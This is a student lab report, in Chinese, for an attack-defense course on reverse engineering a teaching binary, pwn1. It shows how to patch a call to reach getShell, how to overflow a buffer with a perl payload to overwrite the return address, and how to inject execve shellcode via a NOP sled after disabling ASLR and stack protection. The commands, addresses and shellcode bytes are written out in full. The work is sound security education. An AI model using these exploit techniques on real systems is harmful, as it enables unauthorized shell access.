2019-2020-2 网络对抗技术 20175217 Exp1 PC平台逆向破解

##一、实验目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

##二、实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

##三、基础知识

###1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:90
  • JNE:75
  • JE:74
  • CMP:38~3D

###2.掌握反汇编与十六进制编程器

  • 反汇编指令
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section
  • 十六进制编程器:用来以16进制视图进行文本编辑的工具软件
vim <filename>:
以ASCII码形式显示可执行文件的内容
:%!xxd: 将显示模式切换为16进制模式
:%!xxd: 将16进制切换回ASCII码模式

###3.什么是漏洞,漏洞有什么危害?(自己的话)

  • 什么是漏洞?

    • 漏洞是与计算机有关的,可以被攻击者利用从而进行攻击的细节。
  • 漏洞有什么危害?

    • 漏洞如果被攻击者所利用,就可能给计算机、网络等造成严重损害,可能导致系统破坏、信息泄露、网络崩溃等问题。

##四、其他知识 ###1.管道(|)

  • |:是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

###2.输出重定向:

  • >:代表以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。

  • >>:代表以追加方式输出。

###3.输入重定向:

  • 命令 < 文件名:把文件作为命令的输入,例如wc命令时统计行,单词书和字符的。

###4.EIP

  • CPU每次执行控制器读取完,相应的就再通过EIP寄存器去进行下一次的读取指令工作。每次CPU读取指令到指令缓冲区,相应的EIP寄存器的值增加,增加大小的就是读取指令的字节大小。

###5.NOP(滑行区)

  • 即滑行区,返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
  • 起到填充和“着陆、滑行”的作用

##五、实验任务

###任务一 直接修改程序机器指令,改变程序执行流程

原理(思路):

  • 1.对目标文件进行反汇编,找到main函数,和要攻击的foo函数
  • 2.通过汇编指令找到main函数跳转到foo函数的指令,分析其对应的机器指令
  • 3.修改目标文件的对应的机器指令,使得main函数跳转到getShell函数

步骤:

  • 对pwn1进行备份,备份为pwn1.bak

  • 输入指令objdump -d pwn1 | morepwn1文件进行反汇编

  • 找到main函数跳转到foo函数的指令,对反汇编的结果进行分析
    • 可以看到函数的地址为08048491,main函数中的call 8048491 <foo>指令的机器码为e8 d7 ff ff ff,下一条指令的地址为80484ba。机器码中的0xffffffd7 = 0x080484ba - 0x08048491为主函数执行位置和foo函数起始地址的差
    • 因此,想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为0x080484ba - 0x0804847d = 0xffffffc3

  • 修改目标文件机器码
    • 输入指令vi pwn1打开以ASCII码显示的文件
    • 输入指令:%!xxd将文件转换为16进制查看
    • 找到d7ffffff位置,输入i进入插入模式,将d7修改为c3
    • 输入指令:%!xxd -r将文件转化为ASCII码形式,保存并退出

  • 此时输入指令objdump -d pwn1 | more查看,发现pwn1文件已经被修改了

结果:

  • 运行更改后的pwn1,执行getShell,得到shell提示符
  • 运行备份pwn1.bak,正常执行foo函数,实现回显功能

###任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序

原理(思路):

  • 1.通过观察main函数调用的函数,观察系统预留的缓冲区的大小,用该大小加上4字节(ebp),即可得出eip(返回地址)的位置,只要让getShell的地址覆盖该eip就可以让程序执行getShell
  • 2.经分析可知应该输入缓冲区大小+4字节(ebp)+getShell的地址,使得getShell的地址覆盖eip
  • 3.因为我们没法通过键盘输入16进制值,所以先通过perl语言生成包括这样字符串的一个文件,并使用输出重定向“>”将perl生成的字符串存储到文件input中
  • 4.将input的输入,通过管道符“|”,作为目标文件的输入

步骤:

  • 通过反汇编指令查看foo函数中为输入预留的空间

  • 计算出实现缓冲区溢出的字符数为28+4=32字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在eip(返回地址)处,即33~36字节,接下对猜想进行验证

  • 我们在gdb中输入至少36字节的数据,可以看到给出了Segmentation fault 的错误提示,同时可以查看到eip寄存器的地址为0x34333231 ,验证了将getShell的地址放在33~36字节的猜想

  • 我们将33~36字节的内容替换为getShell的地址,即x7dx84x04x08,前32字节可以任意输入

  • 由于我们无法从键盘输入16进制的值,因此运用perl语言和>输出重定向构造输入文件perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input构造输入,我们可以通过catxxd指令查看我们构造的输入文件

结果:

  • 然后通过管道符|,输入命令(cat input; cat ) | ./pwn2将构造的输入input作为pwn2的输入并运行,结果如下:

###任务三 注入shellcode并执行

原理(思路):

  • 1.设置堆栈可执行、关闭地址随机化
  • 2.根据我们的目的构造shellcode
  • 3.以retaddr+nop+shellcode(缓冲区小)或nop+shellcode+retaddr(缓冲区大)的方式构造攻击buf
  • 4.先构造一个任意的返回地址(最后不能是x0a(回车)),然后注入这段buf并运行改进程
  • 5.再打开另一个终端来调试该进程,并找到滑动区nop的地址,以确定retaddr的值
  • 6.用调试确定的返回值填入retaddr,再次注入此时的buf并运行,即可发现进程成功运行shellcode

步骤:

  • execstack -s pwn3设置堆栈可执行
  • execstack -q pwn3查询文件的堆栈是否可执行,结果为X表示可执行
  • linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化
    • more /proc/sys/kernel/randomize_va_space查看随机化是否关闭
    • echo "0" > /proc/sys/kernel/randomize_va_space关闭随机化
    • more /proc/sys/kernel/randomize_va_space再次查看,结果为0证明已关闭

  • 参考老师给出的代码,我们首先构造一个input_shellcode
perl -e 'print "A" x 32;print x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"'
 > input_shellcode
  • 在该终端中通过(cat input_shellcode;cat) | ./pwn3运行pwn3
  • 在另一个终端中输入ps -ef | grep pwn3查看pwn3的进程号

  • 启用gdb调试并定位pwn3进程
  • disassemble foo进行反编译,可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

  • 在第运行终端中按下回车继续运行, 程序执行到断点停止
  • 再在调试终端输入c继续运行程序
  • info r esp查看esp寄存器地址,此时esp的地址即为eip的地址
  • 输入x/16x 0xffffd1ac以16进制形式查看0xffffd1ac地址后面的内容
  • 可以观察到、最先出现0x90(滑行区)的位置地址为0xffffd1ac+0x00000004=0xffffd1b0

  • 将注入代码buf的地址改为0xffffd1b0

  • 输入(cat input_shellcode;cat) | ./pwn3

结果:

  • 成功运行了shellcode

##六、遇到的问题和解决 问题一:

  • 在做任务一时,改完机器指令后,忘记将其转换成ASCLL码形式,就保存退出了,导致后续无法进行反汇编

解决一:

  • 又重做了一遍,记得用:%!xxd -r转成ASCLL码形式就不会出问题

问题二:

  • 在参考组长的博客时,发现他任务三,在调试的过程中,一直不理解为什么通过寻找esp的地址,来确定eip的地址

解决二:

  • 后来经过组内讨论,发现是自己没有注意到断点的位置ret指令之前,已经执行过leave指令,即已经执行过pop ebp,此时esp已经指向eip了

##七、实验心得体会

       之前自己对网络攻防这方面也算是有点兴趣、有点好奇吧,这次,在看了老师的视频讲解之后,自己实操了一把,感觉还不错,可能是前期看视频、学知识准备的比较久,做完还有那么一点点小成就感。
       这次实验的主要困难就是在于对机器码、汇编指令、十六进制数、堆栈原理的掌握还不是很充分,一些地方理解起来比较费劲,我是看完老师的视频就开始参考着组长的博客开做了,在做的过程中,有不懂的地方,就直接上网上去查,没有的话就去问同学,和组内同学讨论,边做边学,摸着石头过河
       最后做下来,整体感觉还是不错的,也没有遇到太大的问题,所有遇到问题都得到了解决,对这次的实验内容也有了基本的了解,同时也有了很大的收获。也还有很多地方掌握的不是太好,如机器指令、汇编语言之类的,之后我也会加强学习,争取做的更好!

##八、参考链接

原文地址:https://www.cnblogs.com/wyf20175217/p/12391190.html